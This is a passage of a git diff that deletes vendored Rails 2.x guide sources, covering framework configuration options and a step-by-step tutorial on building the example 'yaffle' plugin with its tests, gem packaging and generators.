name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default. - -+optimise_named_routes+ turns on some optimizations in generating the routing table. It is set to +true+ by default. - -+use_accept_header+ sets the rules for determining the response format. If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept header into account. If it is set to false then the request format will be determined solely by examining +params[:format]+. If there is no +format+ parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request. - -+allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes. - -+relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+. - -The caching code adds two additional settings: - -+ActionController::Caching::Pages.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to +RAILS_ROOT + "/public"+). - -+ActionController::Caching::Pages.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+. - -The dispatcher includes one setting: - -+ActionController::Dispatcher.error_file_path+ gives the path where Rails will look for error files such as +404.html+. The default is +Rails.public_path+. - -The Active Record session store can also be configured: - -+CGI::Session::ActiveRecordStore::Session.data_column_name+ sets the name of the column to use to store session data. By default it is 'data' - -=== Configuring Action View - -There are only a few configuration options for Action View, starting with four on +ActionView::Base+: - -+debug_rjs+ specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is +false+. - -+warn_cache_misses+ tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is +false+. - -+field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is +Proc.new{ |html_tag, instance| "
#{html_tag}
" }+ - -+default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+. - -The ERB template handler supplies one additional option: - -+ActionView::TemplateHandlers::ERB.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the link:http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/[ERB documentation] for more information. - -=== Configuring Action Mailer - -There are a number of settings available on +ActionMailer::Base+: - -+template_root+ gives the root folder for Action Mailer templates. - -+logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging. - -+smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options: - -* +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting. -* +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it. -* +:domain+ - If you need to specify a HELO domain, you can do it here. -* +:user_name+ - If your mail server requires authentication, set the username in this setting. -* +:password+ - If your mail server requires authentication, set the password in this setting. -* +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+. - -+sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options: - -* +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+. -* +:arguments+ - The command line arguments. Defaults to +-i -t+. - -+raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+. - -+delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+. - -+perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing. - -+default_charset+ tells Action Mailer which character set to use for the body and for encoding the subject. It defaults to +utf-8+. - -+default_content_type+ specifies the default content type used for the main part of the message. It defaults to "text/plain" - -+default_mime_version+ is the default MIME version for the message. It defaults to +1.0+. - -+default_implicit_parts_order+ - When a message is built implicitly (i.e. multiple parts are assembled from templates -which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to -+["text/html", "text/enriched", "text/plain"]+. Items that appear first in the array have higher priority in the mail client -and appear last in the mime encoded message. - -=== Configuring Active Resource - -There is a single configuration setting available on +ActiveResource::Base+: - -+logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Active Resource. Set to nil to disable logging. - -=== Configuring Active Support - -There are a few configuration options available in Active Support: - -+ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+. - -+ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations. - -+ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+. - -=== Configuring Active Model - -Active Model currently has a single configuration setting: - -+ActiveModel::Errors.default_error_messages+ is an array containing all of the validation error messages. - -== Using Initializers - -After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under +/config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded. - -NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the +initializers+ folder on down. - -TIP: If you have any ordering dependency in your initializers, you can control the load order by naming. For example, +01_critical.rb+ will be loaded before +02_normal.rb+. - -== Using an After-Initializer - -After-initializers are run (as you might guess) after any initializers are loaded. You can supply an +after_initialize+ block (or an array of such blocks) by setting up +config.after_initialize+ in any of the Rails configuration files: - -[source, ruby] ------------------------------------------------------------------- -config.after_initialize do - SomeClass.init -end ------------------------------------------------------------------- - -WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called. - -== Rails Environment Settings - -Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails: - -+ENV['RAILS_ENV']+ defines the Rails environment (production, development, test, and so on) that Rails will run under. - -+ENV['RAILS_RELATIVE_URL_ROOT']+ is used by the routing code to recognize URLs when you deploy your application to a subdirectory. - -+ENV["RAILS_ASSET_ID"]+ will override the default cache-busting timestamps that Rails generates for downloadable assets. - -+ENV["RAILS_CACHE_ID"]+ and +ENV["RAILS_APP_VERSION"]+ are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application. - -+ENV['RAILS_GEM_VERSION']+ defines the version of the Rails gems to use, if +RAILS_GEM_VERSION+ is not defined in your +environment.rb+ file. - -== Changelog == - -http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28[Lighthouse ticket] - -* January 3, 2009: First reasonably complete draft by link:../authors.html#mgunderloy[Mike Gunderloy] -* November 5, 2008: Rough outline by link:../authors.html#mgunderloy[Mike Gunderloy] diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt deleted file mode 100644 index 674f086e..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt +++ /dev/null @@ -1,191 +0,0 @@ -== Add an 'acts_as' method to Active Record == - -A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your models. - -To begin, set up your files so that you have: - -*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb* - -[source, ruby] ------------------------------------------------------- -require File.dirname(__FILE__) + '/test_helper.rb' - -class ActsAsYaffleTest < Test::Unit::TestCase -end ------------------------------------------------------- - -*vendor/plugins/yaffle/lib/yaffle.rb* - -[source, ruby] ------------------------------------------------------- -require 'yaffle/acts_as_yaffle' ------------------------------------------------------- - -*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* - -[source, ruby] ------------------------------------------------------- -module Yaffle - # your code will go here -end ------------------------------------------------------- - -Note that after requiring 'acts_as_yaffle' you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models. - -One of the most common plugin patterns for 'acts_as_yaffle' plugins is to structure your file like so: - -*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* - -[source, ruby] ------------------------------------------------------- -module Yaffle - def self.included(base) - base.send :extend, ClassMethods - end - - module ClassMethods - # any method placed here will apply to classes, like Hickwall - def acts_as_something - send :include, InstanceMethods - end - end - - module InstanceMethods - # any method placed here will apply to instaces, like @hickwall - end -end ------------------------------------------------------- - -With structure you can easily separate the methods that will be used for the class (like `Hickwall.some_method`) and the instance (like `@hickwell.some_method`). - -=== Add a class method === - -This plugin will expect that you've added a method to your model named 'last_squawk'. However, the plugin users might have already defined a method on their model named 'last_squawk' that they use for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'. - -To start out, write a failing test that shows the behavior you'd like: - -*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb* - -[source, ruby] ------------------------------------------------------- -require File.dirname(__FILE__) + '/test_helper.rb' - -class Hickwall < ActiveRecord::Base - acts_as_yaffle -end - -class Wickwall < ActiveRecord::Base - acts_as_yaffle :yaffle_text_field => :last_tweet -end - -class ActsAsYaffleTest < Test::Unit::TestCase - load_schema - - def test_a_hickwalls_yaffle_text_field_should_be_last_squawk - assert_equal "last_squawk", Hickwall.yaffle_text_field - end - - def test_a_wickwalls_yaffle_text_field_should_be_last_tweet - assert_equal "last_tweet", Wickwall.yaffle_text_field - end -end ------------------------------------------------------- - -To make these tests pass, you could modify your `acts_as_yaffle` file like so: - -*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* - -[source, ruby] ------------------------------------------------------- -module Yaffle - def self.included(base) - base.send :extend, ClassMethods - end - - module ClassMethods - def acts_as_yaffle(options = {}) - cattr_accessor :yaffle_text_field - self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s - end - end -end - -ActiveRecord::Base.send :include, Yaffle ------------------------------------------------------- - -=== Add an instance method === - -This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database. - -To start out, write a failing test that shows the behavior you'd like: - -*vendor/plugins/yaffle/test/acts_as_yaffle_test.rb* - -[source, ruby] ------------------------------------------------------- -require File.dirname(__FILE__) + '/test_helper.rb' - -class Hickwall < ActiveRecord::Base - acts_as_yaffle -end - -class Wickwall < ActiveRecord::Base - acts_as_yaffle :yaffle_text_field => :last_tweet -end - -class ActsAsYaffleTest < Test::Unit::TestCase - load_schema - - def test_a_hickwalls_yaffle_text_field_should_be_last_squawk - assert_equal "last_squawk", Hickwall.yaffle_text_field - end - - def test_a_wickwalls_yaffle_text_field_should_be_last_tweet - assert_equal "last_tweet", Wickwall.yaffle_text_field - end - - def test_hickwalls_squawk_should_populate_last_squawk - hickwall = Hickwall.new - hickwall.squawk("Hello World") - assert_equal "squawk! Hello World", hickwall.last_squawk - end - - def test_wickwalls_squawk_should_populate_last_tweeted_at - wickwall = Wickwall.new - wickwall.squawk("Hello World") - assert_equal "squawk! Hello World", wickwall.last_tweet - end -end ------------------------------------------------------- - -Run this test to make sure the last two tests fail, then update 'acts_as_yaffle.rb' to look like this: - -*vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb* - -[source, ruby] ------------------------------------------------------- -module Yaffle - def self.included(base) - base.send :extend, ClassMethods - end - - module ClassMethods - def acts_as_yaffle(options = {}) - cattr_accessor :yaffle_text_field - self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s - send :include, InstanceMethods - end - end - - module InstanceMethods - def squawk(string) - write_attribute(self.class.yaffle_text_field, string.to_squawk) - end - end -end - -ActiveRecord::Base.send :include, Yaffle ------------------------------------------------------- - -.Editor's note: -NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`. diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt deleted file mode 100644 index 7cb81093..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt +++ /dev/null @@ -1,104 +0,0 @@ -== Appendix == - -If you prefer to use RSpec instead of Test::Unit, you may be interested in the http://github.com/pat-maddox/rspec-plugin-generator/tree/master[RSpec Plugin Generator]. - -=== References === - - * http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i - * http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-ii - * http://github.com/technoweenie/attachment_fu/tree/master - * http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html - * http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins - * http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2. - -=== Contents of 'lib/yaffle.rb' === - -*vendor/plugins/yaffle/lib/yaffle.rb:* - -[source, ruby] ----------------------------------------------- -require "yaffle/core_ext" -require "yaffle/acts_as_yaffle" -require "yaffle/commands" -require "yaffle/routing" - -%w{ models controllers helpers }.each do |dir| - path = File.join(File.dirname(__FILE__), 'app', dir) - $LOAD_PATH << path - ActiveSupport::Dependencies.load_paths << path - ActiveSupport::Dependencies.load_once_paths.delete(path) -end - -# optionally: -# Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file| -# require file -# end - ----------------------------------------------- - - -=== Final plugin directory structure === - -The final plugin should have a directory structure that looks something like this: - ------------------------------------------------- -|-- MIT-LICENSE -|-- README -|-- Rakefile -|-- generators -| |-- yaffle_definition -| | |-- USAGE -| | |-- templates -| | | `-- definition.txt -| | `-- yaffle_definition_generator.rb -| |-- yaffle_migration -| | |-- USAGE -| | |-- templates -| | `-- yaffle_migration_generator.rb -| `-- yaffle_route -| |-- USAGE -| |-- templates -| `-- yaffle_route_generator.rb -|-- install.rb -|-- lib -| |-- app -| | |-- controllers -| | | `-- woodpeckers_controller.rb -| | |-- helpers -| | | `-- woodpeckers_helper.rb -| | `-- models -| | `-- woodpecker.rb -| |-- db -| | `-- migrate -| | `-- 20081116181115_create_birdhouses.rb -| |-- yaffle -| | |-- acts_as_yaffle.rb -| | |-- commands.rb -| | |-- core_ext.rb -| | `-- routing.rb -| `-- yaffle.rb -|-- pkg -| `-- yaffle-0.0.1.gem -|-- rails -| `-- init.rb -|-- tasks -| `-- yaffle_tasks.rake -|-- test -| |-- acts_as_yaffle_test.rb -| |-- core_ext_test.rb -| |-- database.yml -| |-- debug.log -| |-- definition_generator_test.rb -| |-- migration_generator_test.rb -| |-- route_generator_test.rb -| |-- routes_test.rb -| |-- schema.rb -| |-- test_helper.rb -| |-- woodpecker_test.rb -| |-- woodpeckers_controller_test.rb -| |-- wookpeckers_helper_test.rb -| |-- yaffle_plugin.sqlite3.db -| `-- yaffle_test.rb -`-- uninstall.rb ------------------------------------------------- - diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt deleted file mode 100644 index 7afdef03..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt +++ /dev/null @@ -1,63 +0,0 @@ -== Controllers == - -This section describes how to add a controller named 'woodpeckers' to your plugin that will behave the same as a controller in your main app. This is very similar to adding a model. - -You can test your plugin's controller as you would test any other controller: - -*vendor/plugins/yaffle/test/woodpeckers_controller_test.rb:* - -[source, ruby] ----------------------------------------------- -require File.dirname(__FILE__) + '/test_helper.rb' -require 'woodpeckers_controller' -require 'action_controller/test_process' - -class WoodpeckersController; def rescue_action(e) raise e end; end - -class WoodpeckersControllerTest < Test::Unit::TestCase - def setup - @controller = WoodpeckersController.new - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new - - ActionController::Routing::Routes.draw do |map| - map.resources :woodpeckers - end - end - - def test_index - get :index - assert_response :success - end -end ----------------------------------------------- - -This is just a simple test to make sure the controller is being loaded correctly. After watching it fail with `rake`, you can make it pass like so: - -*vendor/plugins/yaffle/lib/yaffle.rb:* - -[source, ruby] ----------------------------------------------- -%w{ models controllers }.each do |dir| - path = File.join(File.dirname(__FILE__), 'app', dir) - $LOAD_PATH << path - ActiveSupport::Dependencies.load_paths << path - ActiveSupport::Dependencies.load_once_paths.delete(path) -end ----------------------------------------------- - - -*vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:* - -[source, ruby] ----------------------------------------------- -class WoodpeckersController < ActionController::Base - - def index - render :text => "Squawk!" - end - -end ----------------------------------------------- - -Now your test should be passing, and you should be able to use the Woodpeckers controller in your app. If you add a route for the woodpeckers controller you can start up your server and go to http://localhost:3000/woodpeckers to see your controller in action. diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt deleted file mode 100644 index cbedb9ea..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt +++ /dev/null @@ -1,98 +0,0 @@ -== Extending core classes == - -This section will explain how to add a method to String that will be available anywhere in your rails app. - -In this example you will add a method to String named `to_squawk`. To begin, create a new test file with a few assertions: - -*vendor/plugins/yaffle/test/core_ext_test.rb* - -[source, ruby] --------------------------------------------------------- -require File.dirname(__FILE__) + '/test_helper.rb' - -class CoreExtTest < Test::Unit::TestCase - def test_to_squawk_prepends_the_word_squawk - assert_equal "squawk! Hello World", "Hello World".to_squawk - end -end --------------------------------------------------------- - -Navigate to your plugin directory and run `rake test`: - --------------------------------------------------------- -cd vendor/plugins/yaffle -rake test --------------------------------------------------------- - -The test above should fail with the message: - --------------------------------------------------------- - 1) Error: -test_to_squawk_prepends_the_word_squawk(CoreExtTest): -NoMethodError: undefined method `to_squawk' for "Hello World":String - ./test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk' --------------------------------------------------------- - -Great - now you are ready to start development. - -Then in 'lib/yaffle.rb' require 'lib/core_ext.rb': - -*vendor/plugins/yaffle/lib/yaffle.rb* - -[source, ruby] --------------------------------------------------------- -require "yaffle/core_ext" --------------------------------------------------------- - -Finally, create the 'core_ext.rb' file and add the 'to_squawk' method: - -*vendor/plugins/yaffle/lib/yaffle/core_ext.rb* - -[source, ruby] --------------------------------------------------------- -String.class_eval do - def to_squawk - "squawk! #{self}".strip - end -end --------------------------------------------------------- - -To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory. To see this in action, fire up a console and start squawking: - --------------------------------------------------------- -$ ./script/console ->> "Hello World".to_squawk -=> "squawk! Hello World" --------------------------------------------------------- - -=== Working with init.rb === - -When rails loads plugins it looks for the file named 'init.rb' or 'rails/init.rb'. However, when the plugin is initialized, 'init.rb' is invoked via `eval` (not `require`) so it has slightly different behavior. - -Under certain circumstances if you reopen classes or modules in 'init.rb' you may inadvertently create a new class, rather than reopening an existing class. A better alternative is to reopen the class in a different file, and require that file from `init.rb`, as shown above. - -If you must reopen a class in `init.rb` you can use `module_eval` or `class_eval` to avoid any issues: - -*vendor/plugins/yaffle/rails/init.rb* - -[source, ruby] ---------------------------------------------------- -Hash.class_eval do - def is_a_special_hash? - true - end -end ---------------------------------------------------- - -Another way is to explicitly define the top-level module space for all modules and classes, like `::Hash`: - -*vendor/plugins/yaffle/rails/init.rb* - -[source, ruby] ---------------------------------------------------- -class ::Hash - def is_a_special_hash? - true - end -end ---------------------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/creating_plugins/lib/main.rb b/vendor/rails/railties/doc/guides/source/creating_plugins/creating_plugins/lib/main.rb deleted file mode 100644 index b0919153..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/creating_plugins/lib/main.rb +++ /dev/null @@ -1,4 +0,0 @@ -# To change this template, choose Tools | Templates -# and open the template in the editor. - -puts "Hello World" diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/gem.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/gem.txt deleted file mode 100644 index 93f5e0ee..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/gem.txt +++ /dev/null @@ -1 +0,0 @@ -http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/gems.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/gems.txt deleted file mode 100644 index 67d55adb..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/gems.txt +++ /dev/null @@ -1,50 +0,0 @@ -== PluginGems == - -Turning your rails plugin into a gem is a simple and straightforward task. This section will cover how to turn your plugin into a gem. It will not cover how to distribute that gem. - -Historically rails plugins loaded the plugin's 'init.rb' file. In fact some plugins contain all of their code in that one file. To be compatible with plugins, 'init.rb' was moved to 'rails/init.rb'. - -It's common practice to put any developer-centric rake tasks (such as tests, rdoc and gem package tasks) in 'Rakefile'. A rake task that packages the gem might look like this: - -*vendor/plugins/yaffle/Rakefile:* - -[source, ruby] ----------------------------------------------- -PKG_FILES = FileList[ - '[a-zA-Z]*', - 'generators/**/*', - 'lib/**/*', - 'rails/**/*', - 'tasks/**/*', - 'test/**/*' -] - -spec = Gem::Specification.new do |s| - s.name = "yaffle" - s.version = "0.0.1" - s.author = "Gleeful Yaffler" - s.email = "yaffle@example.com" - s.homepage = "http://yafflers.example.com/" - s.platform = Gem::Platform::RUBY - s.summary = "Sharing Yaffle Goodness" - s.files = PKG_FILES.to_a - s.require_path = "lib" - s.has_rdoc = false - s.extra_rdoc_files = ["README"] -end - -desc 'Turn this plugin into a gem.' -Rake::GemPackageTask.new(spec) do |pkg| - pkg.gem_spec = spec -end ----------------------------------------------- - -To build and install the gem locally, run the following commands: - ----------------------------------------------- -cd vendor/plugins/yaffle -rake gem -sudo gem install pkg/yaffle-0.0.1.gem ----------------------------------------------- - -To test this, create a new rails app, add 'config.gem "yaffle"' to environment.rb and all of your plugin's functionality will be available to you. \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/generator_commands.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/generator_commands.txt deleted file mode 100644 index 6ded0dde..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/generator_commands.txt +++ /dev/null @@ -1,144 +0,0 @@ -== Generator Commands == - -You may have noticed above that you can used one of the built-in rails migration commands `migration_template`. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods. - -This section describes how you you can create your own commands to add and remove a line of text from 'config/routes.rb'. - -To start, add the following test method: - -*vendor/plugins/yaffle/test/route_generator_test.rb* - -[source, ruby] ------------------------------------------------------------ -require File.dirname(__FILE__) + '/test_helper.rb' -require 'rails_generator' -require 'rails_generator/scripts/generate' -require 'rails_generator/scripts/destroy' - -class RouteGeneratorTest < Test::Unit::TestCase - - def setup - FileUtils.mkdir_p(File.join(fake_rails_root, "config")) - end - - def teardown - FileUtils.rm_r(fake_rails_root) - end - - def test_generates_route - content = <<-END - ActionController::Routing::Routes.draw do |map| - map.connect ':controller/:action/:id' - map.connect ':controller/:action/:id.:format' - end - END - File.open(routes_path, 'wb') {|f| f.write(content) } - - Rails::Generator::Scripts::Generate.new.run(["yaffle_route"], :destination => fake_rails_root) - assert_match /map\.yaffles/, File.read(routes_path) - end - - def test_destroys_route - content = <<-END - ActionController::Routing::Routes.draw do |map| - map.yaffles - map.connect ':controller/:action/:id' - map.connect ':controller/:action/:id.:format' - end - END - File.open(routes_path, 'wb') {|f| f.write(content) } - - Rails::Generator::Scripts::Destroy.new.run(["yaffle_route"], :destination => fake_rails_root) - assert_no_match /map\.yaffles/, File.read(routes_path) - end - - private - - def fake_rails_root - File.join(File.dirname(__FILE__), "rails_root") - end - - def routes_path - File.join(fake_rails_root, "config", "routes.rb") - end - -end ------------------------------------------------------------ - -Run `rake` to watch the test fail, then make the test pass add the following: - -*vendor/plugins/yaffle/lib/yaffle.rb* - -[source, ruby] ------------------------------------------------------------ -require "yaffle/commands" ------------------------------------------------------------ - -*vendor/plugins/yaffle/lib/yaffle/commands.rb* - -[source, ruby] ------------------------------------------------------------ -require 'rails_generator' -require 'rails_generator/commands' - -module Yaffle #:nodoc: - module Generator #:nodoc: - module Commands #:nodoc: - module Create - def yaffle_route - logger.route "map.yaffle" - look_for = 'ActionController::Routing::Routes.draw do |map|' - unless options[:pretend] - gsub_file('config/routes.rb', /(#{Regexp.escape(look_for)})/mi){|match| "#{match}\n map.yaffles\n"} - end - end - end - - module Destroy - def yaffle_route - logger.route "map.yaffle" - gsub_file 'config/routes.rb', /\n.+?map\.yaffles/mi, '' - end - end - - module List - def yaffle_route - end - end - - module Update - def yaffle_route - end - end - end - end -end - -Rails::Generator::Commands::Create.send :include, Yaffle::Generator::Commands::Create -Rails::Generator::Commands::Destroy.send :include, Yaffle::Generator::Commands::Destroy -Rails::Generator::Commands::List.send :include, Yaffle::Generator::Commands::List -Rails::Generator::Commands::Update.send :include, Yaffle::Generator::Commands::Update ------------------------------------------------------------ - -*vendor/plugins/yaffle/generators/yaffle_route/yaffle_route_generator.rb* - -[source, ruby] ------------------------------------------------------------ -class YaffleRouteGenerator < Rails::Generator::Base - def manifest - record do |m| - m.yaffle_route - end - end -end ------------------------------------------------------------ - -To see this work, type: - ------------------------------------------------------------ -./script/generate yaffle_route -./script/destroy yaffle_route ------------------------------------------------------------ - -.Editor's note: -NOTE: If you haven't set up the custom route from above, 'script/destroy' will fail and you'll have to remove it manually. \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/generator_method.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/generator_method.txt deleted file mode 100644 index 126692f2..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/generator_method.txt +++ /dev/null @@ -1,89 +0,0 @@ -== Add a custom generator command == - -You may have noticed above that you can used one of the built-in rails migration commands `migration_template`. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods. - -This section describes how you you can create your own commands to add and remove a line of text from 'routes.rb'. This example creates a very simple method that adds or removes a text file. - -To start, add the following test method: - -*vendor/plugins/yaffle/test/generator_test.rb* - -[source, ruby] ------------------------------------------------------------ -def test_generates_definition - Rails::Generator::Scripts::Generate.new.run(["yaffle", "bird"], :destination => fake_rails_root) - definition = File.read(File.join(fake_rails_root, "definition.txt")) - assert_match /Yaffle\:/, definition -end ------------------------------------------------------------ - -Run `rake` to watch the test fail, then make the test pass add the following: - -*vendor/plugins/yaffle/generators/yaffle/templates/definition.txt* - ------------------------------------------------------------ -Yaffle: A bird ------------------------------------------------------------ - -*vendor/plugins/yaffle/lib/yaffle.rb* - -[source, ruby] ------------------------------------------------------------ -require "yaffle/commands" ------------------------------------------------------------ - -*vendor/plugins/yaffle/lib/commands.rb* - -[source, ruby] ------------------------------------------------------------ -require 'rails_generator' -require 'rails_generator/commands' - -module Yaffle #:nodoc: - module Generator #:nodoc: - module Commands #:nodoc: - module Create - def yaffle_definition - file("definition.txt", "definition.txt") - end - end - - module Destroy - def yaffle_definition - file("definition.txt", "definition.txt") - end - end - - module List - def yaffle_definition - file("definition.txt", "definition.txt") - end - end - - module Update - def yaffle_definition - file("definition.txt", "definition.txt") - end - end - end - end -end - -Rails::Generator::Commands::Create.send :include, Yaffle::Generator::Commands::Create -Rails::Generator::Commands::Destroy.send :include, Yaffle::Generator::Commands::Destroy -Rails::Generator::Commands::List.send :include, Yaffle::Generator::Commands::List -Rails::Generator::Commands::Update.send :include, Yaffle::Generator::Commands::Update ------------------------------------------------------------ - -Finally, call your new method in the manifest: - -*vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb* - -[source, ruby] ------------------------------------------------------------ -class YaffleGenerator < Rails::Generator::NamedBase - def manifest - m.yaffle_definition - end -end ------------------------------------------------------------ diff --git a/vendor/rails/railties/doc/guides/source/creating_plugins/generators.txt b/vendor/rails/railties/doc/guides/source/creating_plugins/generators.txt deleted file mode 100644 index f856bec7..00000000 --- a/vendor/rails/railties/doc/guides/source/creating_plugins/generators.txt +++ /dev/null @@ -1,98 +0,0 @@ -== Generators == - -Many plugins ship with generators. When you created the plugin above, you specified the --with-generator option, so you already have the generator stubs in 'vendor/plugins/yaffle/generators/yaffle'. - -Building generators is a complex topic unto itself and this section will cover one small aspect of generators: generating a simple text file. - -=== Testing generators === - -Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following: - - * Creates a new fake rails root directory that will serve as destination - * Runs the generator - * Asserts that the correct files were generated - * Removes the fake rails root - -This section will describe how to create a simple generator that adds a file. For the generator in this section, the test could look something like this: - -*vendor/plugins/yaffle/test/definition_generator_test.rb* - -[source, ruby] ------------------------------------------------------------------- -require File.dirname(__FILE__) + '/test_helper.rb' -require 'rails_generator' -require 'rails_generator/scripts/generate' - -class DefinitionGeneratorTest < Test::Unit::TestCase - - def setup - FileUtils.mkdir_p(fake_rails_root) - @original_files = file_list - end - - def teardown - FileUtils.rm_r(fake_rails_root) - end - - def test_generates_correct_file_name - Rails::Generator::Scripts::Generate.new.run(["yaffle_definition"], :destination => fake_rails_root) - new_file = (file_list - @original_files).first - assert_equal "definition.txt", File.basename(new_file) - end - - private - - def fake_rails_root - File.join(File.dirname(__FILE__), 'rails_root') - end - - def file_list - Dir.glob(File.join(fake_rails_root, "*")) - end - -end ------------------------------------------------------------------- - -You can run 'rake' from the plugin directory to see this fail. Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you. - -To make it pass, create the generator: - -*vendor/plugins/yaffle/generators/yaffle_definition/yaffle_definition_generator.rb* - -[source, ruby] ------------------------------------------------------------------- -class YaffleDefinitionGenerator < Rails::Generator::Base - def manifest - record do |m| - m.file "definition.txt", "definition.txt" - end - end -end ------------------------------------------------------------------- - -=== The USAGE file === - -If you plan to distribute your plugin, developers will expect at least a minimum of documentation. You can add simple documentation to the generator by updating the USAGE file. - -Rails ships with several built-in generators. You can see all of the generators available to you by typing the following at the command line: - ------------------------------------------------------------------- -./script/generate ------------------------------------------------------------------- - -You should see something like this: - ------------------------------------------------------------------- -Installed Generators - Plugins (vendor/plugins): yaffle_definition - Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration ------------------------------------------------------------------- - -When you run `script/generate yaffle_definition -h` you should see the contents of your 